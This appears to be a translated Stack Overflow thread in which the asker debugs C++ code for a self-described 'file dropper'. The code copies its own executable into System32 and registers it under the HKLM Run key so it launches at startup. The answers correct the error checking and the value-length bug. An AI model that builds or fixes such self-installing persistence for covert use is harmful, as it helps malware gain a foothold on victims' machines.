0

我尝试制作文件释放器并在启动时启动,但它确实启动了,但是当我使用 regedit 导航到所述键时,我看不到它?那是怎么回事?所有错误代码都返回 0.....

#include <iostream>
#include <windows.h>
#include <Shlwapi.h>
using namespace std;
string RegistryKeyName = "testdropper.exe";

int main()
{
    std::string filename ="\\";
    char system[MAX_PATH];
    char pathtofile[MAX_PATH];
    memset(system, 0, MAX_PATH);
    memset(pathtofile, 0, MAX_PATH);


    //GET MODULE HANDLE OF CALLING PROGRAM I.E SERVER.EXE'S HANDLE
    HMODULE GetModH = GetModuleHandle(NULL);

cout << GetLastError();
    //GET PATH OF exe
    GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));

    filename.append(PathFindFileNameA(pathtofile));

    //GET SYSTEM DIRECTORY LIKE SYSTEM32
    GetSystemDirectory(system,sizeof(system));

    //APPEND MY FILENAME AFTER THE SYSTEMDIRECTORY 
    strcat(system, filename.c_str());

    //COPY SERVER TO THE SYSTEM32 FOLDER
    CopyFile(pathtofile,system,false);

    //MAKE A REGISTRY KEY TO THE SYSTEM32FOLDER WITH SERVER.EXE TO RUN AT STARTUP
    HKEY hKey;

    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );

    RegSetValueEx(hKey, RegistryKeyName.c_str(),0,REG_SZ,(const BYTE*)system,sizeof(system));

    RegCloseKey(hKey);


     return 0;
}
4

2 回答 2

2

...即使 GetLastError 返回全 0

RegXxxAPI 函数通常直接在返回值中返回错误代码,而不是通过GetLastError.

使用 HKLM 时可能经常遇到的错误是访问权限不足。

于 2013-05-30T07:48:42.633 回答
0

您的代码中有两个错误:

  1. 你不检查错误。

  2. 您没有正确写入字符串值。

尝试这个:

long ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
if (ret != ERROR_SUCCESS)
{
    cout << "Unable to open key. Error " << ret;
}
else
{
    ret = RegSetValueEx(hKey, RegistryKeyName.c_str(), 0, REG_SZ, (const BYTE*) system, strlen(system)+1);
    if (ret != ERROR_SUCCESS)
        cout << "Unable to write to key. Error " << ret;

    RegCloseKey(hKey);
}
于 2013-05-30T08:08:04.290 回答